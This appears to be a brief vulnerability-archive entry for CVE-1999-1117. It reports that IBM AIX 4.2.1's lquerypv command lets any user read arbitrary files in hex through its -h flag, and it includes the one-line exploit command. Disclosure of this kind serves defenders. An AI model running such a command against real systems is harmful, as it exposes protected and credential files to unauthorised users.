IBM AIX 4.2.1 - 'lquerypv' File Read

Related Vulnerabilities: CVE-1999-1117  
Publish Date: 24 Nov 1996
Author: Aleph1
                source: http://www.securityfocus.com/bid/455/info

There exists a vulnerability in the lquerypv command under AIX. By using the '-h' flaq, a user may read any file on the file system in hex format. 


/usr/sbin/lquerypv -h /pathtofilename